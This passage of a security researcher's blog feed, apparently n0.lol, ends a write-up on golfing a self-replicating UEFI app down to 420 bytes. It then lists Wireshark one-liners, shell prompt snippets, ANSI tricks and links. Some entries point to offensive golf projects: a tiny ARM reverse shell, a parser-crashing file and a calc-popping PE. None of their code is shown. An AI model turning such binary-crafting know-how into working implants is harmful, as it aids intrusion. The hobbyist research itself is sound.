&lt;p>While debugging, I kept noticing that some registers already contained values I needed after calls. I put breakpoints after each UEFI call, and looked at what values were already there. I used this to remove relatively large stack references and replace them with smaller register to register &lt;code>mov&lt;/code>s.&lt;/p>
&lt;h3 id="finishing-touches">Finishing Touches&lt;/h3>
&lt;p>At this point, I had beat my goal of getting under 512 bytes. I was at 469 bytes, looking at the end of the code to see where I could optimize. I wondered what would happen if I just didn&amp;rsquo;t close the original file, or free the memory chunk I allocated. I found that it would still run, which meant I could pull both of those code blocks out. I was able to get it down to 440 bytes, before the final adjustment.&lt;/p>
&lt;p>The last bit involved me rearranging the header a bit more and trying to fit more things in there. I was really annoyed by the Subsystem PE header field that needed to be 0x000A, because it separated a 4 byte free zone from a large 38 byte free zone.&lt;/p>
&lt;p>I started to look for any instruction in the start of the code that could possibly reuse this by assembling to &lt;code>0A 00&lt;/code> in some way. I remembered that my output string &lt;code>&amp;quot;4\n&amp;quot;&lt;/code> has a 0x0A in it, followed by a null terminator (0x00).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">53 push rbx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">BA34000A00 mov edx,0xa0034
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">52 push rdx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">89E2 mov edx,esp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There were only three bytes before &lt;code>0A 00&lt;/code> in this instruction, so I could add one more byte to line it up perfectly. This worked because the instruction right before it was the one byte &lt;code>push rbx&lt;/code>. This allowed me to move a bunch more code up into the header and get it down to a svelte 420 bytes.&lt;/p>
&lt;p>At this point, I had a 420 byte self-replicating UEFI app, and I was satisfied.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/UEFIGolf_420bytes.png" alt="">&lt;/p>
&lt;p>The final code is in &lt;a href="./bggp4.uefi.asm">bggp4.uefi.asm&lt;/a>&lt;/p>
&lt;h3 id="future-optimizations">Future Optimizations&lt;/h3>
&lt;p>There are some optimizations that I wanted to apply, but I didn&amp;rsquo;t because I thought a 420 byte self replicating UEFI app was funny enough. If you&amp;rsquo;re up to a challenge, there are some relative offsets that could be adjusted, the stack could be used a bit better, and some code chunks could be reworked entirely.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>UEFI is a vast ecosystem, with many drivers and applications running on and endless number of devices. There is a lot of code in EDK2. It can be hard to find a good starting point, but once you find an approach that works you for, it starts to make sense. I hope that this writeup inspires you to play with the firmwares you rely on every day!&lt;/p>
&lt;p>Special thanks go to ic3q33n, who was also working on UEFI, and who had already solved some of the annoying programming problems that I had faced. I also want to thank rqu and ackmage for looking at gnu-efi with me and doing the first babysteps towards understanding UEFI. Also big thanks to Ulf Frisk and ilove2pwn_ for listening to me ramble about this.&lt;/p>
&lt;p>Shoutouts: The BGGP Community, Haunted Computer Club (slop), tmp.0ut&lt;/p>
&lt;p>If you want to get involved in BGGP next year, or just hang out and share weird files you made, you&amp;rsquo;re invited to join the &lt;a href="https://discord.gg/pGxSDfjMaF">Discord&lt;/a>!&lt;/p>
&lt;p>Check out the other entries to BGGP4 &lt;a href="https://github.com/binarygolf/BGGP/tree/main/2023">here&lt;/a>.&lt;/p>
&lt;p>Here are some mixes on youtube that got me thru the tough times&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=0fw2sC4MMM8">NHÃ NHẠC VOL 5: CHIỀU CHỦ NHẬT Vinyl Mixset by Jazz Cát Lượng&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=kYZPGBQS9yA">DJ Eons - Sell Your Soul Part 1&lt;/a> and &lt;a href="https://www.youtube.com/watch?v=ofrTeTDmr2s">Part 2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=B-qqaaIHGyg">SUPER★ANIME★REMIX SUPER★BEST / DISC 1&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=VHPIxrcjKW4">XCOPY - PT Weekender VII / Jungle Amiga Dj set&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=YYbZ3PkiKt8">Bad Will b2b DJ XLAT - XMAS MEGA MIX&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=cuQ6QmCNvfc">The Brain That Wouldn&amp;rsquo;t Die || Deep Dub DJ Mix || BASS BOOSTED&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>If you want to see some more PEs I&amp;rsquo;ve done weird stuff with check out&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://n0.lol/a/pemangle.html">Modern PE Mangling&lt;/a> - Smallest possible PE that pops calc&lt;/li>
&lt;li>&lt;a href="https://github.com/binarygolf/BGGP/blob/main/2021/netspooky/ns.bggp2021.asm">BGGP2021&lt;/a> - PE/JS/PDF polyglot that triggers a pop up of the number 2 in every way it&amp;rsquo;s parsed.&lt;/li>
&lt;li>&lt;a href="https://n0.lol/lemonade/">BGGP2022&lt;/a> - LEMONADE.BIN - DOSing radare2 and rizin with &lt;a href="https://www.youtube.com/watch?v=LdLvp630plc">SOPHIE&lt;/a> lyrics. LE (related to PE) driver parser bug.&lt;/li>
&lt;/ul>
&lt;p>Lastly, here&amp;rsquo;s another cool &lt;a href="https://xairy.io/articles/thinkpad-xdci">writeup&lt;/a> involving patching a UEFI app to unlock xDCI on a ThinkPad to allow it to act like a USB device.&lt;/p></description></item><item><title>Bad Will b2b DJ XLAT - XMAS MEGA MIX</title><link>https://n0.lol/djxlat-badwill-2023-12-24/</link><pubDate>Sun, 24 Dec 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/djxlat-badwill-2023-12-24/</guid><description>&lt;p>Link: &lt;a href="https://www.youtube.com/watch?v=YYbZ3PkiKt8">https://www.youtube.com/watch?v=YYbZ3PkiKt8&lt;/a>&lt;/p></description></item><item><title>easylkb: Easy Linux Kernel Builder</title><link>https://n0.lol/easylkb/</link><pubDate>Mon, 20 Nov 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/easylkb/</guid><description>&lt;p>&lt;img src="https://n0.lol/easylkb-debug.jpeg" alt="">&lt;/p>
&lt;p>Collab with &lt;a href="https://twitter.com/ackmage">ackmage&lt;/a> for tmp.0ut Volume 3.&lt;/p>
&lt;p>Link: &lt;a href="https://github.com/deepseagirl/easylkb">https://github.com/deepseagirl/easylkb&lt;/a>&lt;/p>
&lt;p>Paper: &lt;a href="https://tmpout.sh/3/20.html">https://tmpout.sh/3/20.html&lt;/a>&lt;/p></description></item><item><title>LKM Golf</title><link>https://n0.lol/lkmgolf/</link><pubDate>Mon, 20 Nov 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/lkmgolf/</guid><description>&lt;p>tmp.0ut Article: &lt;a href="https://tmpout.sh/3/19.html">https://tmpout.sh/3/19.html&lt;/a>&lt;/p></description></item><item><title>tmp.0ut Volume 3</title><link>https://n0.lol/tmpout3/</link><pubDate>Mon, 20 Nov 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/tmpout3/</guid><description>&lt;p>&lt;img src="https://n0.lol/tmpout3.png" alt="">&lt;/p>
&lt;p>&lt;img src="https://n0.lol/elf-fan-club.jpeg" alt="">&lt;/p>
&lt;p>Link: &lt;a href="https://tmpout.sh/3/">https://tmpout.sh/3/&lt;/a>&lt;/p></description></item><item><title>BGGP4 Results</title><link>https://n0.lol/bggp4-results/</link><pubDate>Mon, 30 Oct 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp4-results/</guid><description>&lt;p>Link: &lt;a href="https://github.com/binarygolf/BGGP/tree/main/2023">https://github.com/binarygolf/BGGP/tree/main/2023&lt;/a>&lt;/p>
&lt;p>tmp.0ut Article: &lt;a href="https://tmpout.sh/3/25.html">https://tmpout.sh/3/25.html&lt;/a>&lt;/p></description></item><item><title>How To Get A CVE Revoked</title><link>https://n0.lol/notes/fake-obs-cve-2023/</link><pubDate>Mon, 03 Jul 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/fake-obs-cve-2023/</guid><description>&lt;p>&lt;strong>TODO:&lt;/strong> Convert thread to markdown&lt;/p>
&lt;p>Original Thread: &lt;a href="https://twitter.com/netspooky/status/1676000391866068994">https://twitter.com/netspooky/status/1676000391866068994&lt;/a>&lt;/p>
&lt;p>CVEs that were revoked&lt;/p>
&lt;ul>
&lt;li>CVE-2023-36262&lt;/li>
&lt;li>CVE-2023-34585&lt;/li>
&lt;/ul></description></item><item><title>Bad Will x DJ XLAT - Live 7/1/23</title><link>https://n0.lol/djxlat-badwill-2023-07-01/</link><pubDate>Sat, 01 Jul 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/djxlat-badwill-2023-07-01/</guid><description>&lt;p>Link: &lt;a href="https://www.youtube.com/watch?v=9vDrgXkdNB0">https://www.youtube.com/watch?v=9vDrgXkdNB0&lt;/a>&lt;/p></description></item><item><title>BGGP4 Announcement</title><link>https://n0.lol/bggp4-announcement/</link><pubDate>Fri, 23 Jun 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp4-announcement/</guid><description>&lt;p>&lt;img src="https://n0.lol/BGGP4_flyer.png" alt="">&lt;/p>
&lt;p>&lt;a href="https://binary.golf/">https://binary.golf/&lt;/a>&lt;/p></description></item><item><title>netspooky/pdiff2</title><link>https://n0.lol/pdiff2/</link><pubDate>Thu, 11 May 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/pdiff2/</guid><description>&lt;p>I refactored the original pdiff and added some features that I had been using in other scripts.&lt;/p>
&lt;p>Link: &lt;a href="https://github.com/netspooky/pdiff2">https://github.com/netspooky/pdiff2&lt;/a>&lt;/p></description></item><item><title>Protocol RE Talk</title><link>https://n0.lol/protocol-re-talk-2023/</link><pubDate>Thu, 11 May 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/protocol-re-talk-2023/</guid><description>&lt;p>Repo: &lt;a href="https://github.com/netspooky/protocols/tree/main/protocol_re">https://github.com/netspooky/protocols/tree/main/protocol_re&lt;/a>&lt;/p>
&lt;p>Video: &lt;a href="https://www.youtube.com/watch?v=73KJQRqz_Ec">https://www.youtube.com/watch?v=73KJQRqz_Ec&lt;/a>&lt;/p></description></item><item><title>acble - Apple Continuity Dissector</title><link>https://n0.lol/applecontinuitydissector/</link><pubDate>Fri, 28 Apr 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/applecontinuitydissector/</guid><description>&lt;p>This is a dissector I wrote for the Apple Continuity protocol. It is a protocol that is transmitted via BLE within the manufacturing data field.&lt;/p>
&lt;p>Link: &lt;a href="https://github.com/netspooky/dissectors/blob/main/acble.lua">https://github.com/netspooky/dissectors/blob/main/acble.lua&lt;/a>&lt;/p>
&lt;p>This dissector was featured on the &lt;a href="https://wiki.wireshark.org/Contrib">Wireshark Contrib&lt;/a> page!&lt;/p></description></item><item><title>Wireshark Tips n Tricks</title><link>https://n0.lol/notes/wireshark-tips/</link><pubDate>Tue, 25 Apr 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/wireshark-tips/</guid><description>&lt;p>&lt;a href="https://gitlab.com/wireshark/wireshark/-/wikis/home">https://gitlab.com/wireshark/wireshark/-/wikis/home&lt;/a> The wireshark wiki&lt;/p>
&lt;p>Additional oneliners here: &lt;a href="https://github.com/netspooky/notes/blob/main/linux/oneliners.md#tshark-and-wireshark">https://github.com/netspooky/notes/blob/main/linux/oneliners.md#tshark-and-wireshark&lt;/a>&lt;/p>
&lt;h2 id="install-wireshark-from-source">Install wireshark from source&lt;/h2>
&lt;p>This is how you do it on Linux at least&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">git clone https://gitlab.com/wireshark/wireshark.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> wireshark
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ./tools/debian-setup.sh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mkdir build
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> build
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cmake ..
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">make
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To create a debug build, run &lt;code>cmake .. -DCMAKE_BUILD_TYPE=Debug&lt;/code> instead of &lt;code>cmake ..&lt;/code>&lt;/p>
&lt;p>Now you can run with:&lt;/p>
&lt;pre tabindex="0">&lt;code>run/wireshark
&lt;/code>&lt;/pre>&lt;h2 id="dark-mode">Dark Mode&lt;/h2>
&lt;p>Bootleg QT dark mode on Wireshark &amp;gt;= 3.4.4 on Windows.&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#34;C:\\Program Files\\Wireshark\\Wireshark.exe&amp;#34; -platform windows:darkmode=2
&lt;/code>&lt;/pre>&lt;h2 id="useful-oneliners">Useful Oneliners&lt;/h2>
&lt;p>Convert a packet to binary from the command line&lt;/p>
&lt;pre tabindex="0">&lt;code>tshark -x -r file.pcap -Y “frame.number==[packet#]” | xxd -r &amp;gt; file.bin
&lt;/code>&lt;/pre>&lt;p>tshark find byte patterns&lt;/p>
&lt;pre tabindex="0">&lt;code>tshark -r some.pcap -Y &amp;#39;data.data contains &amp;#34;\x12\x34&amp;#34;&amp;#39; -T fields -e data
&lt;/code>&lt;/pre>&lt;p>wireshark get first 500 frames&lt;/p>
&lt;pre tabindex="0">&lt;code>frame.number &amp;lt; 501
&lt;/code>&lt;/pre>&lt;p>wireshark get frames 450-500&lt;/p>
&lt;pre tabindex="0">&lt;code>frame.number &amp;lt; 501 and frame.number &amp;gt; 450
&lt;/code>&lt;/pre>&lt;p>tshark just grab some fields (in this case grabbing &lt;code>bgblink.sync1_dv&lt;/code> with a filter (here it&amp;rsquo;s &lt;code>&amp;quot;bgblink.command == 104 and ip.src == 127.0.0.1&amp;quot;&lt;/code>)&lt;/p>
&lt;pre tabindex="0">&lt;code>tshark -r gameboy.pcapng -Y &amp;#34;bgblink.command == 104 and ip.src == 127.0.0.1&amp;#34; -T fields -e bgblink.sync1_dv
&lt;/code>&lt;/pre>&lt;p>tshark list all protocols in a given pcap&lt;/p>
&lt;pre tabindex="0">&lt;code>tshark -r capture.pcap -T fields -e frame.protocols | sort -u
&lt;/code>&lt;/pre>&lt;h2 id="dissector-notes">Dissector Notes&lt;/h2>
&lt;p>&lt;a href="https://mika-s.github.io/wireshark/lua/dissector/2017/11/04/creating-a-wireshark-dissector-in-lua-1.html">https://mika-s.github.io/wireshark/lua/dissector/2017/11/04/creating-a-wireshark-dissector-in-lua-1.html&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/wslua_tap_example.html">https://www.wireshark.org/docs/wsdg_html_chunked/wslua_tap_example.html&lt;/a>&lt;/p>
&lt;p>This is really useful for reference&lt;/p>
&lt;p>&lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Proto.html">11.6. Functions For New Protocols And Dissectors&lt;/a>&lt;/p>
&lt;h3 id="calling-another-dissector">Calling another dissector&lt;/h3>
&lt;p>&lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Proto.html">https://www.wireshark.org/docs/wsdg_html_chunked/lua_module_Proto.html&lt;/a>&lt;/p>
&lt;p>The &lt;code>buf(offset):tvb()&lt;/code> arg is important. offset is where in the previous buffer to start, and :tvb() casts it from userdata to a tvb&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">function&lt;/span> &lt;span class="nc">proto_lap5&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">dissector&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pinfo&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">tree&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">if&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">len&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">HEADER_LEN&lt;/span> &lt;span class="kr">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">-- create a new buffer containing only the XLES data,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">-- and pass it to the XLES dissector&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Dissector.get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;xles&amp;#34;&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">call&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">HEADER_LEN&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="n">tvb&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="n">pinfo&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">tree&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="dealing-with-utf16-strings">Dealing with UTF16 strings&lt;/h3>
&lt;p>this is actually a really sick way to do this&amp;hellip;it goes by the null terminated string&amp;hellip;&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">msg_f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ProtoField.string&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;mydissector.msg&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;msg&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">local&lt;/span> &lt;span class="n">getMsg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">buffer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">13&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">-- starting on byte 13&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">local&lt;/span> &lt;span class="n">msg&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getMsg&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">le_ustring&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">subtree&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg_f&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">getMsg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h1 id="capturing-bluetooth-with-wireshark">Capturing Bluetooth with Wireshark&lt;/h1>
&lt;p>Tested on Ubuntu 22.04&lt;/p>
&lt;ul>
&lt;li>Enable Bluetooth in settings&lt;/li>
&lt;li>Use the bluetooth-monitor interface&lt;/li>
&lt;li>Use this filter to get advertising reports &lt;code>bthci_evt.le_meta_subevent == 0x02&lt;/code>&lt;/li>
&lt;li>Filter for one device &lt;code>btcommon.eir_ad.entry.device_name == &amp;quot;My Device&amp;quot;&lt;/code>&lt;/li>
&lt;li>Filter on MAC addrs &lt;code>bthci_evt.bd_addr == 55:55:55:55:55:55&lt;/code>&lt;/li>
&lt;li>See messages with manufacturer data &lt;code>btcommon.eir_ad.entry.data&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>steel injection jungle mix</title><link>https://n0.lol/djxlat-steel-injection/</link><pubDate>Sun, 09 Apr 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/djxlat-steel-injection/</guid><description>&lt;p>Junglist massive&lt;/p>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=cZ4x7UqBzBU">https://www.youtube.com/watch?v=cZ4x7UqBzBU&lt;/a>&lt;/p></description></item><item><title>scare - Simple Configurable Assembly REPL and Emulator</title><link>https://n0.lol/scare/</link><pubDate>Wed, 22 Mar 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/scare/</guid><description>&lt;p>This is the repo for scare: &lt;a href="https://github.com/netspooky/scare">https://github.com/netspooky/scare&lt;/a>&lt;/p></description></item><item><title>list_protos.sh</title><link>https://n0.lol/notes/list-protos/</link><pubDate>Thu, 02 Mar 2023 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/list-protos/</guid><description>&lt;p>This is a simple script that can be used to list all of the protocols in a pcap using &lt;a href="https://www.wireshark.org/docs/man-pages/tshark.html">tshark&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="c1"># List all the protocols detected in every pcap in a directory&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">c1&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;\033[38;5;228m&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">c2&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;\033[38;5;122m&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> file in &lt;span class="nv">$1&lt;/span>/*
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="o">[&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$file&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> !&lt;span class="o">=&lt;/span> &lt;span class="nv">$0&lt;/span> &lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> &lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> -e &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$c1$file$c2&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> tshark -r &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$file&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> -T fields -e frame.protocols &lt;span class="p">|&lt;/span> sort -u
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> -e &lt;span class="s2">&amp;#34;\033[0m&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>PS1 Prompts</title><link>https://n0.lol/notes/ps1-prompts/</link><pubDate>Thu, 01 Dec 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/ps1-prompts/</guid><description>&lt;ol>
&lt;li>This is my minimal PS1 for Bash&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code>PS1=&amp;#34;\\[\\e]0;\\u@\\h: \\w\\a\\]\\[\\e[38;5;123m\\]\\t\\[\\e[0m\\] \\[\\e[38;5;219m\\]\\w \\[\\e[0m\\]\\n▶ &amp;#34;
&lt;/code>&lt;/pre>&lt;ol start="2">
&lt;li>This is the more full PS1 with time and the directory.&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code>PS1=&amp;#34;\\[\\e[38;5;141m\\][\\[\\e[m\\]\\[\\e[38;5;219m\\]\\u\\[\\e[m\\]\\[\\e[38;5;226m\\]@\\[\\e[m\\]\\[\\e[38;5;86m\\]\\h\\[\\e[m\\]\\[\\e[38;5;141m\\]]-[\\[\\e[m\\]\\[\\e[38;5;159m\\]\\t\\[\\e[m\\]\\[\\e[38;5;141m\\]]-[\\[\\e[m\\]\\[\\e[38;5;226m\\]\\w\\[\\e[m\\]\\[\\e[38;5;141m\\]]\\[\\e[m\\]\\n\\\\$ \\[$(tput sgr0)\\]&amp;#34;
&lt;/code>&lt;/pre>&lt;ol start="3">
&lt;li>A ZSH prompt that looks similar to 2&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code>PROMPT=&amp;#34;%{$reset_color%}%{$fg[cyan]%}%D{%Y-%m-%d %I:%M:%S}%b%{$reset_color%} %{$fg[magenta]%}%~%{$reset_color%}
$fg[yellow]%}～%{$reset_color%}&amp;#34;
&lt;/code>&lt;/pre></description></item><item><title>208 byte aarch64 ELF reverse shell</title><link>https://n0.lol/aarch64reverseshell208/</link><pubDate>Wed, 16 Nov 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/aarch64reverseshell208/</guid><description>&lt;p>Link: &lt;a href="https://github.com/netspooky/golfclub/blob/master/linux/aarch64/reverse_shell.md">https://github.com/netspooky/golfclub/blob/master/linux/aarch64/reverse_shell.md&lt;/a>&lt;/p></description></item><item><title>ANSI Tips n' Tricks</title><link>https://n0.lol/notes/ansi/</link><pubDate>Thu, 03 Nov 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/ansi/</guid><description>&lt;p>Oneliner to clear the screen&lt;/p>
&lt;pre tabindex="0">&lt;code>echo -ne &amp;#34;\x1b\x5b\x48\x1b\x5b\x32\x4a\x1b\x5b\x33\x4a&amp;#34;
&lt;/code>&lt;/pre>&lt;p>As base64&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; G1tIG1syShtbM0o=
&lt;/code>&lt;/pre>&lt;p>This can also clear the screen&lt;/p>
&lt;pre tabindex="0">&lt;code>echo -ne &amp;#34;\x1bc&amp;#34;
&lt;/code>&lt;/pre>&lt;p>This clears the screen and puts the cursor at the top left&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; G2N1
&lt;/code>&lt;/pre>&lt;p>This clears and puts U&amp;rsquo;s til the end of the console line&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; G2NVG1s5OTli
&lt;/code>&lt;/pre>&lt;p>TODO: Add notes from other sources&lt;/p></description></item><item><title>The PCAP File Format</title><link>https://n0.lol/notes/pcap-file-format/</link><pubDate>Thu, 03 Nov 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/pcap-file-format/</guid><description>&lt;p>References&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://wiki.wireshark.org/Development/LibpcapFileFormat">https://wiki.wireshark.org/Development/LibpcapFileFormat&lt;/a> PCAP Format&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/wireshark/wireshark/-/wikis/Development/LibpcapFileFormat">https://gitlab.com/wireshark/wireshark/-/wikis/Development/LibpcapFileFormat&lt;/a> Newer docs on PCAP format&lt;/li>
&lt;li>&lt;a href="https://pcapng.github.io/pcapng/draft-tuexen-opsawg-pcapng.html">https://pcapng.github.io/pcapng/draft-tuexen-opsawg-pcapng.html&lt;/a> PCAPNG Format&lt;/li>
&lt;/ul>
&lt;p>Basic layout of a PCAP file&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/199809307-d618cf6d-1abe-4417-947b-d7f17af81a76.png" alt="image">&lt;/p>
&lt;p>A pcapng file. Basically everything is a &amp;ldquo;block&amp;rdquo; and there&amp;rsquo;s all this extra metadata&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/199809420-9dfd8fbe-590b-4d1e-aa1e-30d48a642b0c.png" alt="image">&lt;/p></description></item><item><title>netspooky/hexcalc</title><link>https://n0.lol/hexcalc/</link><pubDate>Sat, 01 Oct 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/hexcalc/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/hexcalc">https://github.com/netspooky/hexcalc&lt;/a>&lt;/p></description></item><item><title>xx File Format</title><link>https://n0.lol/xx/</link><pubDate>Sat, 24 Sep 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/xx/</guid><description>&lt;p>This is the repo for the xx file format: &lt;a href="https://github.com/netspooky/xx">https://github.com/netspooky/xx&lt;/a>&lt;/p></description></item><item><title>ELF RELRO</title><link>https://n0.lol/notes/elf-relro/</link><pubDate>Wed, 21 Sep 2022 12:00:00 